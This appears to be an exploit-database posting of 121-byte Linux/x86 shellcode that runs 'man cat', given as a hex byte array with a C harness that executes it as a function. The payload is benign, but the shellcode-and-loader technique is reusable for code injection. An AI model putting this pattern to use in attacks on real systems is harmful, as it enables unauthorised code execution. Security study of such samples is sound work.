121 bytes small Linux/x86 man /bin/cat shellcode.
1f23c312df1064018158e04828ddd8afd600f9b3bfa0d16a31f90d173ea332c3
/*
# 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
# 0 _ __ __ __ 1
# 1 /' \ __ /'__`\ /\ \__ /'__`\ 0
# 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
# 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
# 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
# 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
# 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
# 1 \ \____/ >> Exploit database separated by exploit 0
# 0 \/___/ type (local, remote, DoS, etc.) 1
# 1 1
# 0 [x] Official Website: http://www.1337day.com 0
# 1 [x] Support E-mail : mr.inj3ct0r[at]gmail[dot]com 1
# 0 0
# 1 ========================================== 1
# 0 I'm Dark-Puzzle From Inj3ct0r TEAM 0
# 0 1
# 1 dark-puzzle[at]live[at]fr 0
# 0 ========================================== 1
# 1 White Hat 1
# 0 Independant Pentester 0
# 1 exploit coder/bug researcher 0
# 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-1
Shellcode By DarkPuzzle
Title : Linux/x86 Shellcode - "man /bin/cat" 121 bytes .
Author : Dark-Puzzle (Souhail Hammou)
Platform : Linux/x86
Gr33tz to : Inj3ct0rs Team - SecurityFocus - PacketstormSecurity - Exploit-db .
Usage ::Shellcode executes the command : man /bin/cat ( shows the user manual of /bin/cat)
to exit the manual press CTRL+C then write :wq
*/
char darkcode[] = "\xeb\x5a\x31\xc0\x31\xdb\x31\xd2\xb0\x04\xb3\x01\x59\xb2\x18\xcd\x80\xeb\x27\x5e\x31\xc0\x88\x46\x0c\x88\x46\x10\x89\x76\x11\x8d\x5e\x0d\x89\x5e\x15\x89\x46\x19\xb0\x0b\x89\xf3\x8d\x4e\x11\x8d\x56\x19\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xd4\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x6d\x61\x6e\x23\x63\x61\x74\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\xe8\xa1\xff\xff\xff\x43\x6f\x64\x65\x64\x20\x42\x79\x20\x44\x61\x72\x6b\x2d\x50\x75\x7a\x7a\x6c\x65\x2f\x2a\x2a\x2f";
int main (int argc, char **argv)
{
int (*dark) ();
dark = (int (*) ()) darkcode;
(int) (*dark) ();
}